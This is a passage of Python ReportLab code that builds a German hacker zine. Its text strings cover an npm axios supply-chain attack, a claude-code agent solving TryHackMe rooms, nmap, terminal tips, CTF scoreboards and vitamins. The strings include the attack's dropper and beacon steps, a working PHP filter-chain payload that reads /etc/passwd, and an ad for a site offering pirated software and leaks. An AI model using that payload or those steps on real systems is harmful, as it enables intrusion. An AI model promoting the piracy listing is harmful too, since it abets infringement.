        ("     └─ als axios-Abhängigkeit ergänzt", TEXT),
        ("           ▼",                           NEON_PINK),
        ("[2] postinstall: node setup.js",         NEON_CYAN),
        ("           ▼",                           NEON_PINK),
        ("[3] SILKBELL (XOR + Base64)",            NEON_CYAN),
        ("     ├─ Win: %PROGRAMDATA%\\wt.exe",     TEXT),
        ("     ├─ mac: /Library/Caches/...mond",   TEXT),
        ("     └─ lin: /tmp/ld.py",                TEXT),
        ("           ▼",                           NEON_PINK),
        ("[4] WAVESHAPER.V2 → sfrclak.com:8000",   NEON_RED),
        ("           ▼",                           NEON_PINK),
        ("[5] Persistenz: Run\\MicrosoftUpdate",   TEXT_DIM),
    ],
    "axios_art_label": "31.03.2026 · 00:21 – 03:20 UTC",
    "axios_term_header": "$ npm install axios",
    "axios_term_lines": [
        ("added 7 packages, and audited 8 packages in 3s", TEXT),
        ("", TEXT),
        ("> plain-crypto-js@4.2.0 postinstall", TEXT_DIM),
        ("> node setup.js", TEXT_DIM),
        ("", TEXT),
        ("found 0 vulnerabilities", NEON_GREEN),
        ("$", TEXT_DIM),
        ("", TEXT),
        ("# was setup.js wirklich tat:", TEXT_DIM),
        ("  XOR + base64 Payload entpackt", NEON_RED),
        ("  curl packages.npm.org \u2192 %PROGRAMDATA%\\wt.exe", NEON_RED),
        ("  rm setup.js; mv package.json package.md", NEON_RED),
        ("  wt.exe \u2192 sfrclak.com:8000 alle 60s", NEON_RED),
    ],
    "axios_timeline_header": "# LIEFERKETTE.log",
    "axios_timeline": [
        ("2018", "event-stream", "Wallet-Klau"),
        ("2021", "ua-parser-js", "Miner + Stealer"),
        ("2022", "colors.js", "Autor-Protest"),
        ("2022", "node-ipc", "Protestware"),
        ("2025", "xz-utils", "3-Jahre-Backdoor"),
        ("2026", "axios", "Infostealer-Drop"),
        ("20XX", "?", "ausstehend"),
    ],

    "axios_flow_title": "ANATOMIE",
    "axios_flow_sub": "Drei Stunden, vier Züge — so lief der Angriff auf jeder Maschine, die ihn gezogen hat.",
    "axios_flow_steps": [
        ("01", "PUBLISH", "Maintainer-Account gekapert",
         "Kontakt-E-Mail umgestellt auf ifstap@proton.me", NEON_CYAN),
        ("02", "INSTALL", "axios 1.14.1 + 0.30.4 gehen raus",
         "plain-crypto-js 4.2.0 als transitive Abhängigkeit", NEON_YELLOW),
        ("03", "DROP", "postinstall startet node setup.js",
         "Win: wt.exe  ·  mac: act.mond  ·  lin: ld.py", NEON_PINK),
        ("04", "BEACON", "WAVESHAPER.V2 meldet sich zurück",
         "sfrclak.com:8000 · alle 60s · kill · rundir", NEON_RED),
    ],
    "axios_flow_stats": [
        ("180 Mio", "Downloads / Woche"),
        ("3 h", "bösartiges Fenster"),
        ("~10\u2075", "Secrets in Umlauf"),
    ],

    # CTF — tryhackme any% tas speedrun
    "ctf_kicker": "// FEATURE 02 // FELDBERICHT",
    "ctf_title_a": "TRYHACKME",
    "ctf_title_b": "ANY% TAS SPEEDRUN",
    "ctf_sub": ("Ein Bot, der einen kompletten Cybersec-Lehrplan allein abarbeitet — "
                "und mit jeder Aufgabe ein Stück fähiger wird."),
    "ctf_body_1": (
        "TryHackMe ist eine Lernplattform für IT-Sicherheit. Eine typische "
        "Aufgabe: hacke einen Server in einer virtuellen Maschine. Wer das "
        "versteckte Codewort findet, trägt es ein und bekommt "
        "Erfahrungspunkte. Hunderte solcher Aufgaben gibt es, einsortiert "
        "in Lernpfade vom Anfänger bis zum Profi.\n\n"
        "Die Frage hinter diesem Experiment war simpel: Können KI-Agenten "
        "hacken?\n\n"
        "claude-code ist so ein Agent. Er lebt in der Kommandozeile, liest "
        "Texte, führt Programme aus, schreibt Dateien. Ein kurzes "
        "Python-Skript meldet ihn einmal bei TryHackMe an, danach redet er "
        "direkt mit der Seite: Aufgabe holen, lesen, hacken, Lösung "
        "eintragen.\n\n"
        "Interessant wird es, wenn die Lösung nur durch einen Hack zu "
        "erreichen ist — ein Portscan mit nmap, ein Metasploit-Exploit, "
        "eine SQL-Injection mit sqlmap oder ein per hydra geknacktes "
        "Login-Formular. Dann öffnet der Agent eine Shell und arbeitet wie "
        "ein Mensch: schauen, probieren, das passende Werkzeug greifen.\n\n"
        "Ein Orchestrator startet nicht einen, sondern viele Agenten "
        "gleichzeitig. Jeder bekommt seine eigene Aufgabe und ein festes "
        "Zeitlimit. Während der eine an einer SQL-Injection scheitert, "
        "räumt der nächste gerade einen Linux-Server auf.\n\n"
        "Spannender als die gelösten Aufgaben ist, was zwischen ihnen "
        "passiert.\n\n"
        "Der Bot merkt sich, was funktioniert. In einem Ordner namens "
        "skills/ sammelt er Rezepte — je eine Anleitung pro Angriffstechnik, "
        "vom SMB-Scan bis zum Buffer-Overflow. Dazu Notizen aus früheren "
        "Solves: „Codewörter stecken manchmal base64-kodiert im JavaScript, "
        "grep reicht.\" So wächst mit jeder gelösten Aufgabe ein Playbook, "
        "das der nächsten den Weg verkürzt."
    ),
    "ctf_body_2": "",
    "ctf_tail": (
        "Vor jeder Aufgabe liest der Agent die relevanten Skill-Dateien. "
        "Lernt er unterwegs etwas Neues, legt er hinterher eine neue "
        "Skill-Datei an. So wächst der Bot mit jeder gelösten Aufgabe.\n\n"
        "Aufgaben, an denen er in der ersten Woche gescheitert ist, fallen "
        "in der zweiten in Minuten. Nicht weil das Modell klüger geworden "
        "ist, sondern weil die passende Anleitung inzwischen im Ordner "
        "liegt."
    ),

    # Seite 4 — genauer Blick auf das Skill-System
    "skills_kicker": "// FEATURE 02 // DEEP DIVE",
    "skills_title_a": "SKILLS",
    "skills_title_b": "ANATOMIE EINES REZEPTS",
    "skills_sub": "Wie aus einer Textdatei eine wiederverwendbare Technik wird.",
    "skills_body": (
        "Jedes Rezept folgt derselben Struktur. Oben ein Einzeiler „wann "
        "anwenden\" — der Trigger, an dem der Agent erkennt, ob das Rezept zur "
        "Aufgabe passt. Darunter die Schritte, knapp und kopierbar. Unten die "
        "typischen Stolperfallen.\n\n"
        "Darüber liegt ein Playbook (SKILL.md) — die grobe Anleitung, wie eine "
        "Aufgabe überhaupt angegangen wird: erst lesen, dann das Setup prüfen, "
        "dann zum passenden Rezept greifen. Parallel dazu lebt ein Tagebuch "
        "(lessons.md) für Muster, die kein eigenes Rezept brauchen: „Captcha "
        "nie umgehen, Nutzer fragen\", „Bundles sind meistens Vite-Builds\".\n\n"
        "SKILL.md sagt was zu tun ist, recipes/ sagen wie, lessons.md erinnert "
        "daran was beim letzten Mal schiefging."
    ),
    "skills_list_header": "# skills/recipes/",
    "skills_list": [
        ("php-filter-chain-lfi-rce",       "\u2190"),
        ("container-escape-nsenter",       ""),
        ("browser-desync",                 ""),
        ("http-request-smuggling",         ""),
        ("race-condition-parallel",        ""),
        ("node-merge-prototype-pollution", ""),
        ("dependency-confusion-pypi-rce",  ""),
        ("second-order-sqli",              ""),
        ("git-index-leak-via-lfi",         ""),
        ("xor-shellcode-static-decode",    ""),
        ("jwt-attack-toolkit",             ""),
        ("xxe-xml-external-entity",        ""),
        ("ssti-smarty-pug-jinja2",         ""),
    ],
    "skills_list_more": "\u2026 und mehr",
    "ctf_art_label": "gelöste Aufgaben · letzte 24 h · y=Anzahl, x=Stunde",
    "ctf_pool_header": "# AGENT_POOL.dispatch",
    "ctf_pool_path": "lernpfad: cybersecurity101",
    "ctf_pool": [
        ("agent-001", "nmaplivehostdisc", "18:42", "DONE", "+400"),
        ("agent-002", "linuxforensics",   "—:—",   "RUN",  ""),
        ("agent-003", "webfundamentals",  "11:29", "DONE", "+300"),
        ("agent-004", "introtodfir",      "—:—",   "RUN",  ""),
        ("agent-005", "burpsuitebasics",  "03:11", "FAIL", ""),
        ("agent-006", "wiresharkbasics",  "—:—",   "RUN",  ""),
        ("…",         "…",                "…",     "…",    "…"),
    ],
    "ctf_pool_stats": [
        ("erledigt",     "34 / 43"),
        ("Wall-Runtime", "07:21:44"),
        ("Tokens verbraten", "2,8 M"),
        ("Rezepte",      "wachsend"),
    ],
    "ctf_aquarium_caption": "# /dev/aquarium",

    # ein echtes Rezept, aus dem skills/recipes/-Ordner gefischt
    "ctf_recipe_header": "# skills/recipes/php-filter-chain-lfi-rce.md",
    "ctf_recipe_lines": [
        (NEON_PINK, "WANN:"),
        (TEXT,      "Eine PHP-Seite lädt Dateien per URL-Parameter (include($_GET['page']))."),
        (TEXT_DIM,  ""),
        (NEON_PINK, "WIE:"),
        (TEXT,      "Eigenen PHP-Code base64-kodiert durch PHPs eingebaute Filter-Chain"),
        (TEXT,      "schieben — der Filter dekodiert, include() führt aus:"),
        (TEXT_DIM,  ""),
        (NEON_GREEN, "?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs/Pg=="),
        (TEXT_DIM,  ""),
        (TEXT_DIM,  "= <?php system(\"cat /etc/passwd\");?> als base64. Eine Zeile, volle RCE."),
    ],

    # nmap
    "nmap_kicker": "// WERKZEUG",
    "nmap_title": "NMAP",
    "nmap_sub": "Das Schweizer Taschenmesser das sich weigert in Rente zu gehen.",
    "nmap_body": (
        "Gordon Lyon — Fyodor — hat nmap 1997 als Artikel im Phrack "
        "Magazine veröffentlicht. Neunundzwanzig Jahre "
        "später ist es immer noch das "
        "Erste, was jemand tippt, wenn ein neues Netz vor der Nase liegt. Ein "
        "größeres Kompliment kann man einem Stück Software nicht machen.\n\n"
        "Was nmap langlebig macht: Es hat keine Meinung. Will nicht hübsch "
        "sein, will kein Agent sein, will nicht in deinem Browser wohnen. Es "
        "ist eine Taschenlampe, die du auf ein Netz richtest, und es sagt "
        "dir, was es gesehen hat.\n\n"
        "Das am häufigsten Unterschätzte an nmap: Die nackte Form reicht. "
        "Einfach `nmap <Ziel>`. Keine Flags, keine Skripte, kein Feintuning. "
        "Der Scan nimmt die Top-1000-TCP-Ports, rät pro Port den "
        "dahinterliegenden Dienst und liefert eine erste Silhouette des "
        "Ziels. In den meisten Fällen genügt diese Silhouette, um zu "
        "entscheiden, wo als Nächstes hingeschaut wird."
    ),
    "nmap_cheats_header": "# SPICKZETTEL",
    "nmap_cheats": [
        ("-sS", "stealth SYN-Scan"),
        ("-sV", "Version erkennen"),
        ("-O", "OS-Fingerabdruck"),
        ("-A", "aggressiv (alles davon)"),
        ("-p-", "alle 65535 Ports"),
        ("-T4", "schnelles Timing"),
        ("--open", "nur offene zeigen"),
        ("--script", "NSE-Script-Engine"),
        ("vuln", "Vuln-Detection-Skripte"),
        ("smb-enum-*", "SMB-Recon-Paket"),
        ("http-title", "HTTP-Titel greifen"),
        ("-iL <datei>", "Ziele aus Datei lesen"),
    ],
    "nmap_oneliner_header": "$ nmap ohne Flags:",
    "nmap_oneliner": "nmap 10.10.10.42",
    "nmap_oneliner_t1": "genauso erlaubt: nmap example.com   nmap 192.168.1.1-254   nmap 10.0.0.0/24",
    "nmap_oneliner_t2": "Top-1000-TCP-Ports, Dienst-Tipp pro Port.",

    # terminal tricks
    "term_kicker": "// KOLUMNE // TERMINAL-TRICKS",
    "term_title_a": "SIEBEN KNIFFE,",
    "term_title_b": "DIE DU WIRKLICH NUTZT",
    "term_tricks": [
        ("01", "!!",
         "Wiederholt den letzten Befehl. Mit sudo kombiniert: `sudo !!` — die\n"
         "meistgenutzte Zwei-Zeichen-Sequenz der Ops-Geschichte."),
        ("02", "Strg-R",
         "Rückwärts-Suche durch die Shell-History. Einfach lostippen."),
        ("03", "ssh root@segfault.net",
         "Passwort: `segfault`. Eine frische Kali-VM mit Root, geschenkt von THC —\n"
         "neuer Rechner pro Login, Tor + VPN inklusive. Labor ohne Setup."),
        ("04", "cd -",
         "Springt ins vorherige Verzeichnis. Ping-Pong zwischen zwei Orten,\n"
         "ohne Pfade zu tippen."),
        ("05", "python3 -m http.server 8000",
         "Sofort-Fileserver im aktuellen Verzeichnis. Dateien zwischen VMs schieben,\n"
         "ein pcap an Kolleg:innen reichen, Payloads stagen. Null Abhängigkeiten."),
        ("06", "ss -tulpn",
         "Zeigt lauschende Sockets samt Prozess dahinter. Ersetzt netstat auf\n"
         "modernen Systemen. Jede:r sollte wissen, was auf der eigenen Kiste lauscht."),
        ("07", "script -t timing.log session.log",
         "Nimmt die komplette Terminal-Session auf — Tasten, Timing, Output —\n"
         "und spielt sie mit `scriptreplay` ab. Dein zukünftiges Ich dankt dir."),
    ],

    # warez / leaks / forum ad — nerial.uk
    "warez_kicker": "// WERBUNG",
    "warez_group": "nerial.uk/",
    "warez_sub": "spiele · filme · serien · musik · bücher · leaks",
    "warez_url": "https://nerial.uk/",
    "warez_releases_header": "# katalog",
    "warez_releases": [
        ("Cyberpunk 2077 + alle DLCs",       "[CPY]",    "ISO"),
        ("GTA VI Cutscene-Dump (voll)",      "[???]",    "MP4"),
        ("DAZN",                             "[STREAM]", "M3U8"),
        ("Epstein Files, unzensiert",        "[LEAK]",   "PDF"),
        ("Adobe 2025 Master Suite",          "[TRB]",    "ZIP"),
        ("internes PRISM-Deck",              "[DOC]",    "PPT"),
        ("Starcraft + Brood War (orig.)",    "[RAZ]",    "ISO"),
        ("Windows 12 Pro (pre-RTM)",         "[FTCU]",   "ISO"),
        ("Scrubs (2026)",                    "[NERIAL]", "MKV"),
        ("Rick & Morty S13 (pre-air)",       "[NTb]",    "MKV"),
        ("Sky",                              "[STREAM]", "M3U8"),
        ("The Last of Us Part III (Dev)",    "[LEAK]",   "PKG"),
        ("Avatar 3 — Fire and Ash",          "[EVO]",    "MKV"),
        ("Stranger Things S05 komplett",     "[NTb]",    "MKV"),
        ("Zelda — Tears of the Kingdom II",  "[VENOM]",  "XCI"),
        ("Half Life 3 (internal build)",     "[3DM]",    "ISO"),
        ("Dune: Messiah (SCR.DVDRip)",       "[FGT]",    "MKV"),
        ("Adobe Creative Cloud 2026",        "[XFORCE]", "ZIP"),
    ],

    # agent-era reflection (feature 05)
    "agent_kicker": "// KOMMENTAR",
    "agent_title_a": "CTF NACH",
    "agent_title_b": "DEM AGENTEN",
    "agent_sub": (
        "Der TryHackMe-Artikel auf Seite 3 war der einfache Teil: Der "
        "Agent funktioniert. Der schwerere Teil: was so ein Auto-Solver "
        "mit einer Szene anrichtet, die Menschen als Lösende vorausgesetzt "
        "hat."
    ),
    "agent_body": (
        "Ein CTF-Board misst Können. So lief der Deal: Flag finden, "
        "einreichen, Punkte kassieren, im Ranking steigen. Wenn jetzt "
        "ein Agent die Flag einreicht, steigt er im Ranking. Das Board "
        "funktioniert noch — es misst nur etwas anderes. Nicht mehr "
        "Hacking-Skill, sondern die Fähigkeit, Tools zu orchestrieren "
        "und laufen zu lassen. Echte Kompetenz, aber nicht die, die "
        "draufsteht.\n\n"
        "Schach hat das hinter sich. Deep Blue hat 1997 nicht das "
        "Spiel beendet, sondern eine Illusion: dass der Mensch die "
        "obere Grenze sei. Seitdem läuft Schach als menschliche "
        "Disziplin weiter, im eigenen Tempo, sauber getrennt von der "
        "Engine-Analyse. Online-Plattformen jagen Engine-Hilfe heute "
        "so konsequent wie ein Schiedsrichter Doping. Centaur-Schach "
        "— die offizielle Mischform — hatte fünfzehn gute Jahre und "
        "verschwand dann, weil die Engines allein besser waren.\n\n"
        "Speedrunning hat denselben Druck abgefangen, indem es zwei "
        "Kategorien aufmachte. TAS, Tool-Assisted Speedrun, läuft "
        "framegenau und ist klar gelabelt. Niemand tut dort so, als "
        "spiele er gegen Menschen. Die Trennlinie kam früh und hält.\n\n"
        "In der CTF-Szene fehlt diese Linie. THM-Leitern, HTB-Ränge, "
        "monatliche Scoreboards — da steckt seit Monaten Agent-Arbeit "
        "drin, und niemand weiß wie viel. Das Signal erodiert von "
        "unten nach oben. Irgendwann sagen die Ranglisten nichts mehr "
        "aus — und dann eröffnet eine Plattform eine eigene Division "
        "für Agenten, klar markiert, oder das Board wird Dekoration.\n\n"
        "Die Verteidiger haben mehr in der Hand als es aussieht. Gute "
        "Puzzle-Designer setzen längst auf das, woran Modelle scheitern: "
        "Steganographie, die menschliches Sehen voraussetzt. OSINT gegen "
        "unvorhersehbare Quellen. Physische Artefakte, die man anfassen "
        "muss. Out-of-Band-Interaktionen, die kein Agent-Harness "
        "mitbekommt. Oben wird es härter für alle. Unten — Tutorials, "
        "CVE-Nachbauten, bekannte Web-Muster — ist abgeräumt.\n\n"
        "Für die Spieler verschiebt sich der Skill eine Etage höher: "
        "den Agenten schreiben, die Tools instrumentieren, erkennen "
        "wann das Modell blufft, die Form eines Problems sehen bevor "
        "eine Stunde darin verbrennt. Echte Kompetenz — nur näher an "
        "Ops als an Offense. Fühlt sich nicht an wie eine Box, die man "
        "nachts um drei mit bloßen Händen aufmacht. Manche werden es "
        "lieben. Viele, die CTFs geliebt haben, nicht.\n\n"
        "Das ehrlichste Argument kommt von den kleinen Runden. Private "
        "CTFs unter Freunden, ohne Scoreboard, ohne XP, ohne Plattform "
        "— die laufen weiter. Es ging nie um die Punkte, sondern um "
        "sechs Leute vor einem Whiteboard, die denselben PCAP "
        "auseinandernehmen. Dort richten Agenten nichts an. Was sie "
        "treffen, ist das öffentliche Scoreboard — und das war schon immer "
        "der schwächste Teil des Hobbys.\n\n"
        "Nichts davon beendet CTFs. Was endet, ist ihre Rolle als "
        "Ranking-System. Das Lernen bleibt. Die Scoreboards gehen — "
        "oder sie teilen sich, ehrlich gelabelt, Mensch und Maschine "
        "in getrennten Spalten. Schach hat sich entschieden, "
        "Speedrunning auch. CTFs noch nicht."
    ),
    "agent_fork_rows": [
        ("SCHACH",   "Mensch ──┬─→ Engine-Pool willkommen",   "          └─→ Mensch-only-Rating",      "entschieden"),
        ("SPEEDRUN", "Mensch ──┬─→ TAS hat eigene Spur",      "          └─→ RTA hält den Rekord",     "entschieden"),
        ("CTF",      "Mensch ──┬─→ agent-gestützt ?",         "          └─→ Mensch verifiziert ?",    "offen"),
    ],
    "agent_fork_label": "",
    "agent_panel_header": "# post_agent.diff",
    "agent_panel_diff": [
        "--- a/ctf-szene   vor-dem-agenten",
        "+++ b/ctf-szene   nach-dem-agenten",
        "@@ scoreboards @@",
        "- thm / htb / hmv : signal",
        "+ thm / htb / hmv : signal + rauschen",
        "@@ triviale challenges @@",
        "- tutorial-aufgaben, cve-nachbauten",
        "# auto-geklärt",
        "@@ bleibt menschlich @@",
        "  stego · osint · physisch · oob",
        "@@ neue skill-klasse @@",
        "+ den agenten schreiben",
        "+ erkennen wann er blufft",
        "@@ unberührt @@",
        "  private runden · whiteboard-szene",
    ],

    # Vitamins
    "vit_kicker": "// GESUNDHEIT",
    "vit_title_a": "GESÜNDER",
    "vit_title_b": "HACKEN: VITAMINE",
    "vit_sub": "Was bei Pizza um drei und Bildschirm statt Sonne leise auf der Strecke bleibt — und was fünfzig Cent in der Drogerie dagegen tun.",
    "vit_body": (
        "Pizza nach Mitternacht, Club-Mate statt Wasser, Tiefkühl-Gemüse "
        "als Alibi und Tageslicht hauptsächlich durchs Küchenfenster. Auch "
        "wer ab und zu ordentlich kocht, kommt bei zwölf Stunden Bildschirm "
        "am Tag nicht an alles ran: Spurenelemente, fettlösliche Vitamine, "
        "Magnesium wenn es stressig wird. Der gelegentliche Döner gleicht "
        "das nicht aus.\n\n"
        "Die gute Nachricht: Das Problem lässt sich für den Preis eines "
        "Energy-Drinks lösen. Die schlechte: Jeder zweite Podcast will "
        "einem dafür ein 90-Euro-Monatsabo andrehen. Personalisiertes "
        "Pulver, proprietäre Mischung, Influencer-Code an der Kasse. "
        "Der Unterschied zu einer Brausetablette aus der Drogerie ist "
        "im Wesentlichen die Verpackung.\n\n"
        "Unsere Empfehlung ist unspektakulär: eine Multivitamin- und "
        "eine Multimineral-Brausetablette pro Tag. Eine Packung mit "
        "zwanzig Stück kostet 50 Cent, zusammen also fünf Cent am Tag. "
        "Glas Wasser, zehn Sekunden Plopp, fertig.\n\n"
        "Dazu Vitamin D3. Von Oktober bis April steht die Sonne in "
        "Mitteleuropa so flach, dass die Haut kein D3 mehr bildet. "
        "Wer ohnehin drinnen sitzt, startet den Februar mit fast leerem "
        "Speicher. Rund 1.000 IE täglich halten den Pegel stabil. Weil "
        "D3 fettlöslich ist und sich als Depot ablagert, geht auch "
        "2.000 IE alle zwei Tage oder 20.000 IE alle zwanzig Tage. "
        "D3 gibt es als Tablette, Pulver und Tropfen. Wer Brausetabletten "
        "nicht mag: die meisten Vitamine gibt es inzwischen auch als "
        "Gummibärchen.\n\n"
        "Und noch ein Planet-Express-Tipp: ein täglicher Spaziergang "
        "hebt Gesundheit und Laune."
    ),
    "vit_panel_header": "# rezept.txt",
    "vit_panel_lines": [
        ("Multivitamin-Brause",     "2,5 ct / Tag"),
        ("Multimineral-Brause",     "2,5 ct / Tag"),
        ("Vitamin D3 (1.000 IE)",   "3 ct / Tag"),
        ("Spaziergang (20 min)",    "gratis"),
    ],
    "vit_panel_total": ("Summe",  "~ 8 ct / Tag"),
    "vit_d3_header": "# depot.plan",
    "vit_d3_lines": [
        ("täglich",      "1 x 1.000 IE"),
        ("alle 2 Tage",  "1 x 2.000 IE"),
        ("alle 20 Tage", "1 x 20.000 IE"),
    ],
    "vit_d3_note": "D3 ist fettlöslich und legt sich im Körper als Depot ab.",
    "vit_rant_header": "# podcast_vs_drogerie.diff",
    "vit_rant_lines": [
        ("-", "personalisierte Mischung, 90 €/Monat, Influencer-Code", NEON_RED),
        ("+", "Drogerie-Brause, 50 ct, kein Abo",                      NEON_GREEN),
    ],

    # EOF
    "eof_footer": "Verbindung zur Gegenstelle beendet",
}


# ================= DRAWING UTILITIES =================
def fill_bg(c, color=BG_DARK):
    c.setFillColor(color)
    c.rect(0, 0, PAGE_W, PAGE_H, fill=1, stroke=0)


def draw_grid(c, color, spacing=10, alpha=0.08):
    c.saveState()
    c.setStrokeColor(color)
    c.setLineWidth(0.2)
    c.setStrokeAlpha(alpha)
    for x in range(0, int(PAGE_W), spacing):
        c.line(x, 0, x, PAGE_H)
    for y in range(0, int(PAGE_H), spacing):
        c.line(0, y, PAGE_W, y)
    c.restoreState()


def draw_scanlines(c, alpha=0.05):
    c.saveState()
    c.setStrokeColor(colors.white)
    c.setStrokeAlpha(alpha)
    c.setLineWidth(0.5)
    y = 0
    while y < PAGE_H:
        c.line(0, y, PAGE_W, y)
        y += 3
    c.restoreState()


def draw_hex_dump(c, x, y, width, height, color=NEON_GREEN, alpha=0.6):
    c.saveState()
    c.setFillColor(color)
    c.setFillAlpha(alpha)
    c.setFont(MONO, 6.5)
    line_h = 8
    rows = int(height / line_h)
    for i in range(rows):
        addr = f"{0x4000 + i*16:08x}"
        hex_bytes = " ".join(f"{random.randint(0,255):02x}" for _ in range(16))
        ascii_part = "".join(
            chr(random.randint(32, 126)) if random.random() > 0.3 else "."
            for _ in range(16)
        )
        line = f"{addr}  {hex_bytes}  {ascii_part}"
        c.drawString(x, y + height - (i + 1) * line_h, line)
    c.restoreState()


def draw_binary_rain(c, x, y, w, h, color=NEON_GREEN, alpha=0.10):
    c.saveState()
    c.setFillColor(color)
    c.setFillAlpha(alpha)
    c.setFont(MONO, 7)
    cols = int(w / 6)
    rows = int(h / 9)
    for ci in range(cols):
        for ri in range(rows):
            bit = random.choice(["0", "1"])
            c.drawString(x + ci * 6, y + h - (ri + 1) * 9, bit)
    c.restoreState()


def draw_skull(c, x, y, color=NEON_PINK, size=7):
    skull = [
        "       ______",
        "    .-\"      \"-.",
        "   /            \\",
        "  |   .--. .--.  |",
        "  |   \\__/ \\__/  |",
        "  |     .--.     |",
        "   \\   (    )   /",
        "    '-.______.-'",
        "    /|  |  |  |\\",
        "   / |  |  |  | \\",
    ]
    c.saveState()
    c.setFillColor(color)
    c.setFont(MONO_BOLD, size)
    for i, line in enumerate(skull):
        c.drawString(x, y - i * (size + 1), line)
    c.restoreState()


def draw_header_bar(c, page_num, section_label):
    c.saveState()
    c.setFillColor(BG_PANEL)
    c.rect(0, PAGE_H - 18, PAGE_W, 18, fill=1, stroke=0)
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.5)
    c.line(0, PAGE_H - 18, PAGE_W, PAGE_H - 18)
    c.setFillColor(NEON_GREEN)
    c.setFont(MONO_BOLD, 8)
    c.drawString(15, PAGE_H - 12, "> https://planet-express.wtf")
    c.setFillColor(TEXT_DIM)
    c.drawCentredString(PAGE_W / 2, PAGE_H - 12, section_label.upper())
    c.setFillColor(NEON_PINK)
    c.drawRightString(PAGE_W - 15, PAGE_H - 12, f"// PG {page_num:02d}")
    c.restoreState()


def draw_footer(c, page_num, txt):
    c.saveState()
    c.setStrokeColor(NEON_GREEN)
    c.setLineWidth(0.3)
    c.line(15, 22, PAGE_W - 15, 22)
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 7)
    c.drawString(15, 12, f"04/2026 // {txt}")
    c.setFillColor(NEON_CYAN)
    c.drawRightString(PAGE_W - 15, 12, f"0x{page_num:04x}")
    c.restoreState()


def wrap_text(text, max_width, font, size, c):
    words = text.split()
    lines = []
    current = []
    for w in words:
        test = " ".join(current + [w])
        if c.stringWidth(test, font, size) <= max_width:
            current.append(w)
        else:
            if current:
                lines.append(" ".join(current))
            current = [w]
    if current:
        lines.append(" ".join(current))
    return lines


def draw_body_text(c, text, x, y, width, font=SERIF, size=9.5, leading=13, color=TEXT):
    c.setFillColor(color)
    c.setFont(font, size)
    lines = []
    for para in text.split("\n\n"):
        para_lines = wrap_text(para.strip(), width, font, size, c)
        lines.extend(para_lines)
        lines.append("")
    cur_y = y
    for line in lines:
        if line:
            c.drawString(x, cur_y, line)
        cur_y -= leading
    return cur_y


def draw_barcode(c, x, y, w=180, h=28):
    c.saveState()
    c.setFillColor(TEXT)
    bx = x
    while bx < x + w:
        bw = random.choice([1, 1, 2, 1, 3])
        c.rect(bx, y, bw, h, fill=1, stroke=0)
        bx += bw + 1
    c.restoreState()


# ================= ART HELPERS =================
def draw_dependency_tree(c, x, y, w, lines, label):
    """ASCII-style dep tree in a dim panel. Returns bottom y."""
    c.saveState()
    c.setFillColor(BG_PANEL)
    h = 14 + len(lines) * 11 + 22
    c.rect(x, y - h, w, h, fill=1, stroke=0)
    c.setStrokeColor(NEON_CYAN)
    c.setStrokeAlpha(0.3)
    c.setLineWidth(0.3)
    c.rect(x, y - h, w, h, fill=0, stroke=1)
    c.setStrokeAlpha(1)
    c.setFont(MONO, 8.5)
    cy = y - 14
    for line, col in lines:
        c.setFillColor(col)
        c.drawString(x + 10, cy, line)
        cy -= 11
    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 7.5)
    c.drawString(x + 10, cy - 6, label)
    c.restoreState()
    return y - h


def draw_sparkbars(c, x, y, w, h, n_bars=40, label="", seed=0):
    """Retro bar-chart art — n bars of pseudo-random height."""
    c.saveState()
    c.setFillColor(BG_PANEL)
    c.rect(x, y - h, w, h, fill=1, stroke=0)
    c.setStrokeColor(NEON_GREEN)
    c.setStrokeAlpha(0.25)
    c.setLineWidth(0.3)
    c.rect(x, y - h, w, h, fill=0, stroke=1)
    c.setStrokeAlpha(1)

    rnd = random.Random(seed)
    bar_area_h = h - 28
    gap = 1
    bar_w = (w - 20 - (n_bars - 1) * gap) / n_bars
    base_y = y - h + 18

    c.setFillColor(NEON_GREEN)
    for i in range(n_bars):
        bh = rnd.randint(int(bar_area_h * 0.20), int(bar_area_h * 0.95))
        bx = x + 10 + i * (bar_w + gap)
        alpha = 0.55 + (bh / bar_area_h) * 0.45
        c.setFillAlpha(alpha)
        c.rect(bx, base_y, bar_w, bh, fill=1, stroke=0)
    c.setFillAlpha(1)

    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 7)
    c.drawString(x + 10, y - h + 6, label)
    c.restoreState()
    return y - h


def draw_fork_diagram(c, x, y, w, rows, label=""):
    """Stacked per-row: header line (prefix + tail tag), then two branches. Rows = [(prefix, branch_a, branch_b, tail)]."""
    c.saveState()
    line_h = 10.5
    row_h = 3 * line_h + 6  # heading + 2 branches + spacing
    total_h = 14 + len(rows) * row_h + 20
    c.setFillColor(BG_PANEL)
    c.rect(x, y - total_h, w, total_h, fill=1, stroke=0)
    c.setStrokeColor(NEON_CYAN)
    c.setStrokeAlpha(0.3)
    c.setLineWidth(0.3)
    c.rect(x, y - total_h, w, total_h, fill=0, stroke=1)
    c.setStrokeAlpha(1)

    cy = y - 14
    decided_markers = {"decided", "entschieden"}
    for prefix, branch_a, branch_b, tail in rows:
        # heading line: prefix on the left, tail tag on the right
        c.setFillColor(NEON_CYAN)
        c.setFont(MONO_BOLD, 8.5)
        c.drawString(x + 10, cy, prefix)
        if tail:
            c.setFillColor(NEON_GREEN if tail in decided_markers else NEON_PINK)
            c.setFont(MONO_BOLD, 7)
            c.drawRightString(x + w - 10, cy, f"[{tail.upper()}]")
        # two branches
        c.setFillColor(TEXT)
        c.setFont(MONO, 7.5)
        c.drawString(x + 16, cy - line_h, branch_a)
        c.setFillColor(TEXT_DIM)
        c.drawString(x + 16, cy - 2 * line_h, branch_b)
        cy -= row_h

    c.setFillColor(TEXT_DIM)
    c.setFont(SERIF_ITAL, 7.5)
    c.drawString(x + 10, y - total_h + 8, label)
    c.restoreState()
    return y - total_h


def draw_aquarium(c, t, y=60, h=170):
    """ASCII-art aquarium panel for CTF page 2."""
    x = 25
    w = PAGE_W - 50
    c.saveState()
    c.setFillColor(BG_PANEL)
    c.rect(x, y, w, h, fill=1, stroke=0)
    c.setStrokeColor(NEON_CYAN)
    c.setStrokeAlpha(0.3)
    c.setLineWidth(0.4)
    c.rect(x, y, w, h, fill=0, stroke=1)
    c.setStrokeAlpha(1)

    # caption
    c.setFillColor(NEON_CYAN)
    c.setFont(MONO_BOLD, 9)
    c.drawString(x + 10, y + h - 14, t["ctf_aquarium_caption"])

    # rows drawn top-down inside the panel
    line_h = 10.5
